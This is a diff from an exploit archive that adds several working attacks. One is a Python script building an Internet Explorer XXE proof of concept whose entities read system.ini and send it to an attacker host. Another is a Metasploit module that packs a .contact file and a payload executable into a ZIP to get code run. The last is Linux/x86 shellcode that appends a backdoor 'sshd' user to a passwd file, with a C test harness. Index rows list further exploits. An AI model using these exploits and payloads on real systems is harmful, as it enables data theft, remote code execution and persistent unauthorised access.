||||
#Microsoft Internet Explorer XXE 0day
|
||||
#Creates malicious XXE .MHT and XML files
|
||||
#Open the MHT file in MSIE locally, should exfil system.ini
|
||||
#By hyp3rlinx
|
||||
#ApparitionSec
|
||||
|
||||
ATTACKER_IP="localhost"
|
||||
PORT="8000"
|
||||
|
||||
mht_file=(
|
||||
'From:\n'
|
||||
'Subject:\n'
|
||||
'Date:\n'
|
||||
'MIME-Version: 1.0\n'
|
||||
'Content-Type: multipart/related; type="text/html";\n'
|
||||
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
|
||||
'This is a multi-part message in MIME format.\n\n\n'
|
||||
|
||||
'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
|
||||
'Content-Type: text/html; charset="UTF-8"\n'
|
||||
'Content-Location: main.htm\n\n'
|
||||
|
||||
'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
|
||||
'<html>\n'
|
||||
'<head>\n'
|
||||
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
|
||||
'<title>MSIE XXE 0day</title>\n'
|
||||
'</head>\n'
|
||||
'<body>\n'
|
||||
'<xml>\n'
|
||||
'<?xml version="1.0" encoding="utf-8"?>\n'
|
||||
'<!DOCTYPE r [\n'
|
||||
'<!ELEMENT r ANY >\n'
|
||||
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
|
||||
'%sp;\n'
|
||||
'%param1;\n'
|
||||
']>\n'
|
||||
'<r>&exfil;</r>\n'
|
||||
'<r>&exfil;</r>\n'
|
||||
'<r>&exfil;</r>\n'
|
||||
'<r>&exfil;</r>\n'
|
||||
'</xml>\n'
|
||||
'<script>window.print();</script>\n'
|
||||
'<table cellpadding="0" cellspacing="0" border="0">\n'
|
||||
'<tr>\n'
|
||||
'<td class="contentcell-width">\n'
|
||||
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
|
||||
'<h3>Discovery: hyp3rlinx</h3>\n'
|
||||
'<h3>ApparitionSec</h3>\n'
|
||||
'</td>\n'
|
||||
'</tr>\n'
|
||||
'</table>\n'
|
||||
'</body>\n'
|
||||
'</html>\n\n\n'
|
||||
|
||||
'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
|
||||
)
|
||||
|
||||
xml_file=(
|
||||
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
|
||||
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
|
||||
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
|
||||
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
|
||||
)
|
||||
|
||||
def mk_msie_0day_filez(f,p):
|
||||
f=open(f,"wb")
|
||||
f.write(p)
|
||||
f.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
|
||||
mk_msie_0day_filez("datatears.xml",xml_file)
|
||||
print "Microsoft Internet Explorer XML External Entity 0day PoC."
|
||||
print "Files msie-xxe-0day.mht and datatears.xml Created!."
|
||||
print "Discovery: Hyp3rlinx / Apparition Security"
|
||||
|
||||
|
||||
|
||||
|
||||
[Network Access]
|
||||
Remote
|
||||
|
||||
|
||||
|
||||
[Severity]
|
||||
High
|
||||
|
||||
|
||||
|
||||
[Disclosure Timeline]
|
||||
Vendor Notification: March 27, 2019
|
||||
Vendor acknowledgement: March 27, 2019
|
||||
Case Opened: March 28, 2019
|
||||
MSRC reponse April 10, 2019: "We determined that a fix for this issue will be considered in a future version of this product or service.
|
||||
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
|
||||
April 10, 2019 : Public Disclosure
|
||||
|
||||
|
||||
|
||||
[+] Disclaimer
|
||||
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
|
||||
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
|
||||
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
|
||||
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
|
||||
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
|
||||
or exploits by the author or elsewhere. All content (c).
|
||||
|
||||
hyp3rlinx
|
106
exploits/windows/local/46692.rb
Executable file
106
exploits/windows/local/46692.rb
Executable file
|
@ -0,0 +1,106 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'fileutils'
|
||||
require 'rex/zip'
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Contact File Format Arbitary Code Execution',
|
||||
'Description' => %q{
|
||||
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.
|
||||
User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files <c:Url> node param which takes an expected website value, however if an attacker references an
|
||||
executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.
|
||||
Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs.
|
||||
Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys.
|
||||
The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.
|
||||
This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.
|
||||
},
|
||||
'Author' =>
|
||||
[ 'John Page (aka hyp3rlinx)', # Vuln discovery
|
||||
'Brenner Little' # MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '46188'],
|
||||
['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'],
|
||||
['ZDI', '19-013']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 17 2019', # According to https://www.exploit-db.com/exploits/46188
|
||||
'Privileged' => false,
|
||||
'Platform' => 'win',
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Targets' => [['Windows', { }]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']),
|
||||
OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']),
|
||||
])
|
||||
end
|
||||
def exploit
|
||||
contact_full_name = "#{datastore['FILENAME']}"
|
||||
exe_filename = "#{datastore['WEBSITE']}"
|
||||
|
||||
xml_header = %Q|<?xml version="1.0" encoding="UTF-8"?>
|
||||
\t<c:contact c:Version="1" xmlns:c="http://schemas.microsoft.com/Contact" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:MSP2P="http://schemas.microsoft.com/Contact/Extended/MSP2P">
|
||||
\t<c:CreationDate>2019-04-10T20:19:26Z</c:CreationDate><c:Extended xsi:nil="true"/>
|
||||
\t|
|
||||
|
||||
xml_body = %Q|
|
||||
<c:ContactIDCollection>
|
||||
<c:ContactID c:ElementID="492912d2-db87-4da2-9fb0-1a3533284d09"><c:Value>e3b2d76c-3355-4f54-b995-0ce0dcf84c8a</c:Value></c:ContactID>
|
||||
</c:ContactIDCollection>
|
||||
<c:NameCollection>
|
||||
<c:Name c:ElementID="9c47b169-4385-40e9-97cf-cc2f55544c8d">
|
||||
<c:FormattedName>CONTACT_FULL_NAME</c:FormattedName>
|
||||
<c:FamilyName>CONTACT_LAST_NAME</c:FamilyName>
|
||||
<c:GivenName>CONTACT_FIRST_NAME</c:GivenName>
|
||||
</c:Name>
|
||||
</c:NameCollection>
|
||||
<c:PhotoCollection>
|
||||
<c:Photo c:ElementID="9b2b24b3-2ce5-4553-abe1-8cb0cf7ad12e">
|
||||
<c:LabelCollection>
|
||||
<c:Label>UserTile</c:Label>
|
||||
</c:LabelCollection>
|
||||
</c:Photo>
|
||||
</c:PhotoCollection>
|
||||
<c:UrlCollection c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
|
||||
<c:Url c:ElementID="4aca9a0f-72fd-45ff-8683-1524caafd6e9" c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">
|
||||
<c:Value c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">EXE_PATH</c:Value>
|
||||
<c:LabelCollection>
|
||||
<c:Label c:Version="1" c:ModificationDate="2019-04-10T21:15:00Z">Business</c:Label>
|
||||
</c:LabelCollection>
|
||||
</c:Url>
|
||||
</c:UrlCollection>
|
||||
</c:contact>|.gsub(/\n[ ]*/,'')
|
||||
|
||||
xml = xml_header + xml_body
|
||||
xml.gsub!(/CONTACT_FULL_NAME/, contact_full_name);
|
||||
xml.gsub!(/CONTACT_LAST_NAME/, contact_full_name.split(' ')[-1]);
|
||||
xml.gsub!(/CONTACT_FIRST_NAME/, contact_full_name.split(' ')[0]);
|
||||
xml.gsub!(/EXE_PATH/, "http.\\" + exe_filename);
|
||||
|
||||
exe = generate_payload_exe
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file("/http/" + exe_filename, exe)
|
||||
zip.add_file(contact_full_name + ".contact", xml)
|
||||
zip.save_to(contact_full_name + ".zip")
|
||||
print_good("Created '#{contact_full_name}.zip'")
|
||||
end
|
||||
end
|
|
@ -10405,6 +10405,9 @@ id,file,description,date,author,type,platform,port
|
|||
46683,exploits/windows/local/46683.txt,"Microsoft Windows - AppX Deployment Service Privilege Escalation",2019-04-09,"Nabeel Ahmed",local,windows,
|
||||
46685,exploits/windows/local/46685.py,"FTPShell Server 6.83 - 'Account name to ban' Local Buffer",2019-04-10,"Dino Covotsos",local,windows,
|
||||
46686,exploits/windows/local/46686.py,"FTPShell Server 6.83 - 'Virtual Path Mapping' Local Buffer",2019-04-10,"Dino Covotsos",local,windows,
|
||||
46688,exploits/windows/local/46688.txt,"CyberArk EPM 10.2.1.603 - Security Restrictions Bypass",2019-04-12,"Alpcan Onaran",local,windows,
|
||||
46690,exploits/windows/local/46690.txt,"Microsoft Internet Explorer 11 - XML External Entity Injection",2019-04-12,hyp3rlinx,local,windows,
|
||||
46692,exploits/windows/local/46692.rb,"Microsoft Windows - Contact File Format Arbitary Code Execution (Metasploit)",2019-04-12,Metasploit,local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -17311,6 +17314,7 @@ id,file,description,date,author,type,platform,port
|
|||
46677,exploits/php/remote/46677.php,"PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write",2019-02-27,cfreal,remote,php,
|
||||
46678,exploits/hardware/remote/46678.py,"TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow",2019-04-09,"Grzegorz Wypych",remote,hardware,80
|
||||
46682,exploits/multiple/remote/46682.py,"Apache Axis 1.4 - Remote Code Execution",2019-04-09,"David Yesland",remote,multiple,
|
||||
46693,exploits/linux/remote/46693.rb,"Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)",2019-04-12,Metasploit,remote,linux,8443
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
@ -41124,3 +41128,4 @@ id,file,description,date,author,type,platform,port
|
|||
46681,exploits/php/webapps/46681.txt,"Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection",2019-04-09,"Doğukan Karaciğer",webapps,php,80
|
||||
46684,exploits/php/webapps/46684.py,"Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution",2019-04-10,"Julien Ahrens",webapps,php,443
|
||||
46687,exploits/hardware/webapps/46687.txt,"D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting",2019-04-10,"Semen Alexandrovich Lyhin",webapps,hardware,80
|
||||
46691,exploits/php/webapps/46691.rb,"ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)",2019-04-12,AkkuS,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
|
@ -954,3 +954,4 @@ id,file,description,date,author,type,platform
|
|||
46524,shellcodes/linux_x86/46524.c,"Linux/x86 - Polymorphic execve(/bin/sh) Shellcode (63 bytes)",2019-03-11,"Daniele Votta",shellcode,linux_x86
|
||||
46679,shellcodes/generator/46679.nasm,"Linux/x64 - XANAX Encoder Shellcode (127 bytes)",2019-04-09,"Alan Vivona",shellcode,generator
|
||||
46680,shellcodes/generator/46680.nasm,"Linux/x64 - XANAX Decoder Shellcode (127 bytes)",2019-04-09,"Alan Vivona",shellcode,generator
|
||||
46689,shellcodes/linux_x86/46689.c,"Linux/x86 - Add User to Passwd File Shellcode (149 bytes)",2019-04-12,strider,shellcode,linux_x86
|
||||
|
|
|
98
shellcodes/linux_x86/46689.c
Normal file
98
shellcodes/linux_x86/46689.c
Normal file
|
@ -0,0 +1,98 @@
|
|||
# Exploit Title: Linux/x86 add user to passwd file shellcode (149 bytes)
|
||||
# Google Dork: None
|
||||
# Date: 11.04.2019
|
||||
# Exploit Author: strider
|
||||
# Vendor Homepage: None
|
||||
# Software Link: None
|
||||
# Tested on: Debian 9 Stretch i386/ Kali Linux i386
|
||||
# CVE : None
|
||||
# Shellcode Length: 149
|
||||
------------------------------[Description]---------------------------------
|
||||
|
||||
This shellcode writes a new user to the given passwd file
|
||||
|
||||
Username = sshd
|
||||
password = root
|
||||
Shell = sh
|
||||
|
||||
-----------------------------[Shellcode Dump]---------------------------------
|
||||
section .text
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
xor eax, eax
|
||||
push eax
|
||||
|
||||
_user:
|
||||
push 0x0a206873
|
||||
push 0x2f6e6962
|
||||
push 0x2f3a706d
|
||||
push 0x742f3a31
|
||||
push 0x3131313a
|
||||
push 0x31313131
|
||||
push 0x3a30754a
|
||||
push 0x4c5a304b
|
||||
push 0x45683933
|
||||
push 0x78534a52
|
||||
push 0x50446862
|
||||
push 0x73644d24
|
||||
push 0x67513231
|
||||
push 0x3458652e
|
||||
push 0x2431243a
|
||||
push 0x64687373
|
||||
mov ebp, esp
|
||||
jmp short _file
|
||||
|
||||
_appendfile:
|
||||
pop ecx
|
||||
mov ebx, ecx
|
||||
xor ecx, ecx
|
||||
mov al, 5
|
||||
push ebx
|
||||
mov cx, 2001Q
|
||||
mov dx, 0x1A4
|
||||
int 0x80
|
||||
|
||||
_write:
|
||||
xor eax, eax
|
||||
xor ebx, ebx
|
||||
push eax
|
||||
mov al, 4
|
||||
add ebx, 3
|
||||
mov ecx, ebp
|
||||
xor edx, edx
|
||||
add edx, 64
|
||||
int 0x80
|
||||
|
||||
_close:
|
||||
xor eax, eax
|
||||
mov al, 6
|
||||
int 0x80
|
||||
|
||||
_exit:
|
||||
xor eax, eax,
|
||||
mov al, 1
|
||||
xor ebx, ebx
|
||||
int 0x80
|
||||
|
||||
_file:
|
||||
call _appendfile
|
||||
msg2 db "passwd", 0x00 ;change that yo your passwd file
|
||||
|
||||
-----------------------------[Compile]---------------------------------------------
|
||||
gcc -m32 -fno-stack-protector -z execstack -o tester tester.c
|
||||
|
||||
-----------------------------[C-Code]-----------------------------
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
unsigned char shellcode[] = "\x31\xc0\x50\x68\x73\x68\x20\x0a\x68\x62\x69\x6e\x2f\x68\x6d\x70\x3a\x2f\x68\x31\x3a\x2f\x74\x68\x3a\x31\x31\x31\x68\x31\x31\x31\x31\x68\x4a\x75\x30\x3a\x68\x4b\x30\x5a\x4c\x68\x33\x39\x68\x45\x68\x52\x4a\x53\x78\x68\x62\x68\x44\x50\x68\x24\x4d\x64\x73\x68\x31\x32\x51\x67\x68\x2e\x65\x58\x34\x68\x3a\x24\x31\x24\x68\x73\x73\x68\x64\x89\xe5\xeb\x33\x59\x89\xcb\x31\xc9\xb0\x05\x53\x66\xb9\x01\x04\x66\xba\xa4\x01\xcd\x80\x31\xc0\x31\xdb\x50\xb0\x04\x83\xc3\x03\x89\xe9\x31\xd2\x83\xc2\x40\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xc8\xff\xff\xff\x70\x61\x73\x73\x77\x64";
|
||||
void main()
|
||||
{
|
||||
printf("Shellcode Length: %d\n", strlen(shellcode));
|
||||
|
||||
int (*ret)() = (int(*)())shellcode;
|
||||
ret();
|
||||
}
|
Loading…
Add table
Reference in a new issue